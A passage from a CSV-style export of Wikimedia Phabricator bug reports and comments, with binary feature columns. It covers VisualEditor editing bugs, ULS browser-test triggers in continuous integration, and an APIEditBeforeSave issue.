+https://gerrit.wikimedia.org/r/141063",,,1403299185,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jhcapgyaxz3ow5vafpun,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241044,VisualEditor: Editing a link spanning a comment splits the link,"This is a more general problem. We never unannotate comments or any other metadata. For instance:
+
+* If you have [[Foo|Bar<!--Baz-->Quux]] and change the link target, you'll split the link: [[Foo2|Bar]][[Foo|<!--Baz-->]][[Foo2|Quux]] (that's also what happened here)
+* If you have Foo<!--Bar-->Baz, it renders as ""FooBar"". If you then make that italic, you'll get ''Foo''<!--Bar-->''Baz''
+
+The root of the problem is that ve.dm.TransactionProcessor#applyAnnotations doesn't annotate/unannotate metadata. Tomorrow I'll see if I can write a failing test case and fix applyAnnotations()",,,1403149757,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-jhcapgyaxz3ow5vafpun,task_subcomment,,True,c1,3,False,,,50,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+54120,browsertests: triggers for ULS,"This makes sense for ULS because they have a reasonable number of merges in a day, see https://gerrit.wikimedia.org/r/#/q/status:merged+project:mediawiki/extensions/UniversalLanguageSelector,n,z 
+
+This would entail: 
+
+* Put the ULS tests into their own Jenkins build, and possibly into their own code repo the way Mobile is
+
+* Have Jenkins kick off the build of ULS tests targeting beta labs upon code merged in the ULS branch
+
+* Report the build status after each run
+
+This came up because we found Bug 52115 in a timely way.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52890
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53691
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57560",High,80.0,1374875220,1386338149.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_description,resolved,True,c1,3,False,False,False,3,,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+240724,browsertests: triggers for ULS,The job got fixed yesterday and browser tests are passing right now. It is not blocking changes yet though.,,,1386338190,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+240715,browsertests: triggers for ULS,"The trigger has been added in Zuul with https://gerrit.wikimedia.org/r/97741
+
+The job will success whenever ULS change https://gerrit.wikimedia.org/r/#/c/97487/ is merged in.",,,1385574363,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+240708,browsertests: triggers for ULS,"Change 97741 merged by jenkins-bot:
+ULS browsertests on check pipeline
+
+https://gerrit.wikimedia.org/r/97741",,,1385477743,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240702,browsertests: triggers for ULS,"Change 97741 had a related patch set uploaded by Hashar:
+ULS browsertests on check pipeline
+
+https://gerrit.wikimedia.org/r/97741",,,1385477681,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+240695,browsertests: triggers for ULS,"The browser tests manage to pass with above change:
+
+https://integration.wikimedia.org/ci/job/mwext-browsertests-UniversalLanguageSelector-phantomjs/27/consoleFull
+
+With a nice HTML report:
+https://integration.wikimedia.org/ci/job/mwext-browsertests-UniversalLanguageSelector-phantomjs/27/artifact/report.html
+
+Whenever the change in comment #5 is merged in, I will validate with i18n team how to get it triggered by Zuul.",,,1385412598,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+240687,browsertests: triggers for ULS,"Following a pair session with Željko, the tests can be flagged with a tag which we can then exclude when running tests. For ULS, I have introduced the tag @specific-settings which let us skip any tests that are not going to pass on a fresh wiki installation: https://gerrit.wikimedia.org/r/#/c/97487/",,,1385379817,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,21,,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0
+240680,browsertests: triggers for ULS,Moving this under Continuous Integration radar.,,,1380112899,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+240672,browsertests: triggers for ULS,Have added bug 53691 for the same for the VisualEditor repo.,,,1378156956,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+240665,browsertests: triggers for ULS,What about running the tests on patch submission?,,,1377877531,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0
+240659,browsertests: triggers for ULS,"Is this still something we want to do? ULS tests are now in ULS repo, so this should be doable. The only problem is that ULS tests are not stable enough:
+
+https://wmf.ci.cloudbees.com/view/r-uls/",,,1377860181,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-vzhy73evvtw5m5ueeyz3,task_subcomment,,True,c1,3,True,,,8,,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+54113,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),"Tested on Firefox 22 (Monobook) and Chrome 28 (Vector)
+
+Steps to reproduce:
+- Open any random page in the visual editor. Personally i used [[Botnet]].
+- Add the word ""Test"" to the page.
+- Press Ctrl + Z to undo the edit. Keep pressing till the edit is gone, then press it once more.
+
+Once you have done this, the Redo button and the Redo shortcut (Ctrl+Shift+Z) no longer seem to restore the previous edits. Any subsequent edit seems to reset the undo / redo buttons to an ""There were no previous edits"" state.
+
+Inconsistent results:
+
+Besides the above result that i can always reproduce using these steps, i have seen various other results. I have seen each of these at least twice but no matter what i try, i cannot seem to find any method of reproducing these reliably.
+
+- An entry in the console log stating ""Error: Cannot roll back a transaction that has not been committed ""
+- An entry in the console log stating ""Error: Range error: Range is no longer valid after DOM mutation ([WrappedRange(""Zz"":1, ""Zz"":1)]) ""
+- The redo button suddenly inserting ""♙"" once in Chrome.
+- The undo button suddenly inserting an endless steam ""♙"" in Firefox.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51532
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52185",High,80.0,1374869820,1376621406.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_description,resolved,True,c1,3,False,False,True,3,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+240258,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),Now merged into master; will be deployed in the next push.,,,1376621406,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+240252,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),"Change 79049 merged by jenkins-bot:
+Check for past/future state in undo/redo before setting breakpoint
+
+https://gerrit.wikimedia.org/r/79049",,,1376621086,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+240247,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),"Change 79049 had a related patch set uploaded by Esanders:
+Check for past/future state in undo/redo before setting breakpoint
+
+https://gerrit.wikimedia.org/r/79049",,,1376488129,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+240245,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),It's obviusly inviting you to play chess :),,,1376487625,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+240242,VisualEditor: Undo keyboard shortcuts clear undo / redo history if pressed too often (And other fun),I've reproduced a few of these permutations.,,,1374905493,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-sqeh7jyki3euhm6uvc2p,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+54112,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),"Firefox 22 - Error console.
+
+Tested on Firefox 22 (Monobook) and Chrome 28 (Vector)
+
+Steps to reproduce:
+1) Open the [[Martin J. Silverstein]] in the visual editor.
+2) Click on the empty line between the ""Diplomatic posts"" and ""United States Ambassadors to Uruguay Uruguay"" template
+3) Click the ""Transclusions"" button, add the ""Botnets"" template and apply the edit.
+4) Try to use any button on the visual toolbar that creates a window, or try to open any existing item that creates a window. This will no longer be possible.
+
+Console log:
+- The added screenshot is the error console as seen in Firefox. On step 3 the ""DOM Offset"" error is added.
+- On step 4 (And after every subsequent click on an element that creates a window) the ""Cannot create a window"" error will be added.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11357}",High,80.0,1374867180,1394224334.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-7cagldmd3jobcif24ufn,task_description,declined,True,c1,3,False,False,False,3,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+240216,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),This appears to now be fixed - marking as WORKSFORME.,,,1394224334,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7cagldmd3jobcif24ufn,task_subcomment,,True,c1,3,True,,,35,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+240215,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),I can't reproduce this.,,,1383172136,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7cagldmd3jobcif24ufn,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+240214,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),Thought we had fixed insertion into slugs in bug 44084 - has this re-surfaced?,,,1374879833,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7cagldmd3jobcif24ufn,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+240212,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),"Having tested a few more scenario's it would seem that editing near templates in general causes console errors, though none of these seem to cause any lasting issues.
+
+- Selecting the line mentioned in step 2 and pressing enter will return the console error ""TypeError: outermostNode is null""
+- Typing a text under the bottom template of the page and then pressing backpace till the text and that template are gone will cause an error if that edit is undone afterwards:
+-- ""Error: Range error: Range is no longer valid after DOM mutation ""
+-- ""Error: Offset could not be translated to a DOM element and offset: 1405""
+
+As mentioned before, neither of these errors seem to impact anything in the editor or the edit itself.",,,1374870395,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-7cagldmd3jobcif24ufn,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0
+240209,VisualEditor: Inserting template into slug throws JS error (causing dialogs to break),"Relevant error: ""Error: Offset could not be translated to a DOM element and offset: 1407""
+
+The inability to open other dialogs is because the error causes the first dialog to never close, and so opening other dialogs fails because VE thinks you've already got a dialog open.
+
+Is this due to adding a transclusion in a slug, perhaps?",,,1374867555,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-7cagldmd3jobcif24ufn,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+54102,VisualEditor: Write newFromDocumentReplace so editing document slices is simple,"
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1374855900,1380230165.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-oq4h4k5rxxh5mzsezcrf,task_description,resolved,True,c1,3,True,False,True,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+239685,VisualEditor: Write newFromDocumentReplace so editing document slices is simple,"Change 82790 merged by jenkins-bot:
+Introduce newFromDocumentReplace() transaction builder
+
+https://gerrit.wikimedia.org/r/82790",,,1380228356,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-oq4h4k5rxxh5mzsezcrf,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239683,VisualEditor: Write newFromDocumentReplace so editing document slices is simple,"Change 82790 had a related patch set uploaded by Jforrester:
+Introduce newFromDocumentReplace() transaction builder
+
+https://gerrit.wikimedia.org/r/82790",,,1380145599,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-oq4h4k5rxxh5mzsezcrf,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239682,VisualEditor: Write newFromDocumentReplace so editing document slices is simple,"Change 71661 abandoned by Catrope:
+[WIP] ve.dm.Transaction: Implement newFromDocumentInsertion, take 2
+
+Reason:
+Superseded by https://gerrit.wikimedia.org/r/82790
+
+https://gerrit.wikimedia.org/r/71661",,,1379533053,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-oq4h4k5rxxh5mzsezcrf,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+239678,VisualEditor: Write newFromDocumentReplace so editing document slices is simple,"Change 71661 had a related patch set uploaded by Jforrester:
+[WIP] ve.dm.Transaction: Implement newFromDocumentInsertion, take 2
+
+https://gerrit.wikimedia.org/r/71661",,,1374855973,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-oq4h4k5rxxh5mzsezcrf,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+54093,"VisualEditor: Make the ""wikitext"" link of the popup open in a new window","From bug 49820 comment 27:
+John Broughton 2013-07-25 23:13:48 UTC
+If it's not one thing, it's another ... The popup message is now visible no
+matter where in a page the wikitext is being entered. So that's progress.
+
+The popup is still too inconspicuous for my tastes (and a great opportunity for
+A/B testing), but that's not what I'm posting about. My concern is with the
+link that the popup message includes (the label is ""wikitext""; the target is
+[[Help:Wiki markup]]). If that link is clicked, the system **asks the user
+whether he/she wants to leave the editing page**. That's a bit user-unfriendly.
+
+I realize that smarter users can right-click and then open the link in either
+another tab or a new page, avoiding the question of whether they want to leave
+their editing session. But if we're aiming at the average user, it would be
+great if this link were pre-defined as opening another window, so that a simple
+click on the link didn't result in a perturbed user.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51585
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51122",High,80.0,1374846180,1375203313.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-kcmkos4wcsglqvinne4e,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+239240,"VisualEditor: Make the ""wikitext"" link of the popup open in a new window",This is now done and we'll get it deployed soon.,,,1375203313,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kcmkos4wcsglqvinne4e,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+239235,"VisualEditor: Make the ""wikitext"" link of the popup open in a new window","Change 76701 merged by jenkins-bot:
+Set links in wikitext warning to load in new window
+
+https://gerrit.wikimedia.org/r/76701",,,1375201479,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kcmkos4wcsglqvinne4e,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239229,"VisualEditor: Make the ""wikitext"" link of the popup open in a new window","Change 76701 had a related patch set uploaded by Helder.wiki:
+Set links in wikitext warning to load in new window
+
+https://gerrit.wikimedia.org/r/76701",,,1375189915,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kcmkos4wcsglqvinne4e,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54077,APIEditBeforeSave isn't replacing sections like the documentation claims,"Reported: https://en.wikipedia.org/wiki/Wikipedia_talk:Tags#Incorrect_tagging
+and
+https://en.wikipedia.org/wiki/Wikipedia:VPT#Blanking_filter_misfire
+
+**See Also**:
+* {T54049}
+* {T54062}",High,80.0,1374810540,1375288319.0,PHID-USER-z3l4i7dl52qicxtephy5,False,,False,PHID-TASK-v4wsjl2yostcro6yfl5m,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1
+641845,APIEditBeforeSave isn't replacing sections like the documentation claims,"I think this really was a problem with AbuseFilter and not the hook; the hook documentation was unclear. My fix for T73947 fixes this too, so I proposed that the patch be reverted at https://gerrit.wikimedia.org/r/282101.",,,1460010223,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-v4wsjl2yostcro6yfl5m,task_subcomment,,True,c1,3,True,,,144,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
